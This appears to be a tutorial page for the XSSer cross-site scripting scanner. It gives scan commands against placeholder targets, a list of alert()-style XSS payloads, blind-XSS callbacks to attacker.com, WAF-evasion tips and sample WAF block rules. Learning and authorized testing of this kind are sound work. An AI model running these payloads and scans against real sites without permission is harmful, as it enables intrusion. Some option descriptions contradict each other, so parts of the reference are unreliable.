XSSer

Overview

XSSer (Cross Site Scripting Scanner) is a comprehensive framework for detecting and exploiting Cross-Site Scripting (XSS) vulnerabilities in web applications. It supports multiple injection vectors, payload generation, fuzzing capabilities, and advanced exploitation techniques. XSSer is ideal for authorized penetration testers and security researchers.

Key Features

Automatic XSS vulnerability detection across multiple injection points
Customizable payload libraries and fuzzing
Support for GET, POST, and Cookie-based parameters
Blind XSS detection and exploitation
DOM-based XSS identification
Distributed scanning capabilities
Output in HTML, XML, and other formats

Installation

Linux / Kali Linux

# Install via package manager
sudo apt-get install xsser

# Or clone from GitHub
git clone https://github.com/epsylon/xsser.git
cd xsser
sudo python3 setup.py install

macOS

# Via Homebrew
brew install xsser

# Or manual installation
git clone https://github.com/epsylon/xsser.git
cd xsser
python3 setup.py install

Windows

# Clone repository
git clone https://github.com/epsylon/xsser.git
cd xsser

# Install dependencies
pip install -r requirements.txt

# Run XSSer
python3 xsser.py

Dependencies

# Core requirements
pip install pycurl
pip install beautifulsoup4
pip install pygeoip
pip install urllib3
pip install selenium
pip install pillow

Basic Usage

Simple URL Scanning

# Basic URL scan
xsser -u "http://target.com/?id=1"

# Test specific parameter
xsser -u "http://target.com/?search=test" -p "search"

GET Parameter Fuzzing

# Fuzz all GET parameters
xsser -u "http://target.com/?id=1&name=test" --auto

# Test with payloads list
xsser -u "http://target.com/?id=1" -g

# Custom wordlist
xsser -u "http://target.com/?id=1" -w /path/to/payloads.txt

POST Data Testing

# Test POST parameters
xsser -u "http://target.com/login" -p "username=test&password=test"

# POST with custom data
xsser -u "http://target.com/submit" --data="name=test&email=test@test.com"

# Test cookies
xsser -u "http://target.com" -c "sessionid=abc123" 

# Custom headers
xsser -u "http://target.com" -H "User-Agent: Mozilla/5.0" \
       -H "Referer: http://attacker.com"

Common Command Options

Option	Description
`-u URL`	Target URL to scan
`-p PARAM`	Specific parameter to test
`-g`	Use GET method (default)
`--data`	POST data to send
`-c COOKIE`	Cookie string for requests
`-H HEADER`	Custom HTTP header
`-w WORDLIST`	Custom payload wordlist file
`--auto`	Automatic fuzzing mode
`--blind`	Blind XSS detection
`--dom`	Test DOM-based XSS
`--user-agent`	Spoof user agent
`-o FILE`	Output results to file
`--report`	Generate HTML report

Advanced Scanning Techniques

Blind XSS occurs when the payload executes but the result isn’t visible. XSSer can detect this using out-of-band callbacks.

# Enable blind XSS detection
xsser -u "http://target.com/?feedback=test" --blind

# With callback server (requires setup)
xsser -u "http://target.com/?comment=test" --blind \
      --callback-url "http://attacker.com/callback"

DOM-Based XSS Testing

# Test for DOM XSS vulnerabilities
xsser -u "http://target.com/page.html" --dom

# Enable JavaScript rendering
xsser -u "http://target.com" --dom --browser

Mutation-Based Fuzzing

# Generate variations of payloads
xsser -u "http://target.com/?id=1" --mutate

# Advanced mutation with custom patterns
xsser -u "http://target.com/?id=1" --mutate \
      --encode "double_url" "html" "unicode"

Distributed Scanning

# Setup multiple scanning threads
xsser -u "http://target.com" --threads 10

# With proxy support for distributed scanning
xsser -u "http://target.com" --proxy "http://proxy.local:8080"

Payload Crafting

Custom Payload Wordlist

Create a file named custom_payloads.txt:

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
javascript:alert('XSS')
<body onload=alert('XSS')>
<iframe src="javascript:alert('XSS')"></iframe>
<input onfocus=alert('XSS') autofocus>
<marquee onstart=alert('XSS')></marquee>

Using Custom Payloads

# Test with custom payload file
xsser -u "http://target.com/?search=" -w custom_payloads.txt

# Test specific payload
xsser -u "http://target.com/?id=1" -p "id" --payload="<script>alert('XSS')</script>"

Encoding Payloads

# URL encode payload
xsser -u "http://target.com/?id=1" --encode "url"

# HTML entity encoding
xsser -u "http://target.com/?id=1" --encode "html"

# Multiple encoding layers
xsser -u "http://target.com/?id=1" --encode "double_url,html"

# Unicode encoding
xsser -u "http://target.com/?id=1" --encode "unicode"

Output and Reporting

Saving Results

# Save to text file
xsser -u "http://target.com/?id=1" --auto -o results.txt

# Generate HTML report
xsser -u "http://target.com/?id=1" --auto --report results.html

# XML output
xsser -u "http://target.com/?id=1" --auto -o results.xml --xml

Analyzing Results

# Verbose output during scanning
xsser -u "http://target.com/?id=1" --verbose

# Show only positive findings
xsser -u "http://target.com/?id=1" --auto --show-positive-only

Advanced Techniques

Testing Multiple URLs

Create targets.txt:

http://target1.com/?id=1
http://target2.com/?search=test
http://target3.com/form

# Batch scanning
xsser --file targets.txt --auto

# With thread pool
xsser --file targets.txt --auto --threads 5

# Test with authentication
xsser -u "http://target.com/dashboard" \
      -c "auth_token=valid_token; session_id=xyz123"

# Maintain session across requests
xsser -u "http://target.com" --cookie-jar cookies.txt

# Test cookie parameters
xsser -u "http://target.com" -c "user=<payload>"

User-Agent Spoofing

# Bypass User-Agent based filters
xsser -u "http://target.com/?id=1" \
      --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

# Test multiple User-Agents
xsser -u "http://target.com/?id=1" --auto \
      --user-agents-file user_agents.txt

Proxy and SSL Configuration

# Route through proxy
xsser -u "http://target.com/?id=1" --proxy "http://proxy:8080"

# Ignore SSL certificate errors
xsser -u "https://target.com/?id=1" --ignore-proxy-ssl

# SOCKS proxy
xsser -u "http://target.com/?id=1" --socks5 "127.0.0.1:1080"

Real-World Examples

Example 1: Test Search Parameter

xsser -u "http://ecommerce.com/search?q=test" -p "q" --auto

Results show XSS in search results rendering.

Example 2: Form Submission Testing

xsser -u "http://blog.com/comment" \
      --data="name=test&comment=test&email=test@test.com" \
      --auto

Detects stored XSS in comment parameter.

Example 3: API Parameter Fuzzing

xsser -u "http://api.target.com/users?id=1&filter=test&sort=name" \
      --auto --threads 8

Identifies XSS in API response parameters.

xsser -u "http://target.com/?feedback=" \
      --blind --callback-url "http://burp-collaborator-id.burpcollaborator.net"

Detects blind XSS through out-of-band callbacks.

Prevention and Mitigation

Security Best Practices

Input Validation: Strictly validate and sanitize user input
Output Encoding: Encode output based on context (HTML, JavaScript, URL, CSS)
Content Security Policy: Implement strict CSP headers
HTTPOnly Cookies: Mark session cookies as HTTPOnly
Input Filters: Use web application firewalls (WAF)

Example WAF Rules

# Block common XSS patterns
BlockRule: pattern=<script|javascript:|onerror=|onload=
BlockRule: pattern=eval\(|expression\(
BlockRule: pattern=vbscript:|behavior=

Troubleshooting

Common Issues

Issue: Connection timeout

# Increase timeout value
xsser -u "http://target.com" --timeout 30

Issue: False positives detected

# Use strict matching mode
xsser -u "http://target.com" --strict

Issue: Blocked by WAF/IDS

# Slow down requests with delays
xsser -u "http://target.com" --delay 2

# Use randomized User-Agents
xsser -u "http://target.com" --random-user-agent

Resources

Official Documentation: https://github.com/epsylon/xsser
OWASP XSS Prevention: https://owasp.org/www-community/attacks/xss/
PortSwigger XSS Guide: https://portswigger.net/web-security/cross-site-scripting
CWE-79: https://cwe.mitre.org/data/definitions/79.html

Legal Disclaimer

XSSer is designed for authorized security testing and vulnerability assessment only. Unauthorized testing of systems you do not own or have explicit permission to test is illegal and unethical. Always:

Obtain written authorization before testing
Follow applicable laws and regulations
Document findings responsibly
Disclose vulnerabilities through proper channels
Respect data privacy and confidentiality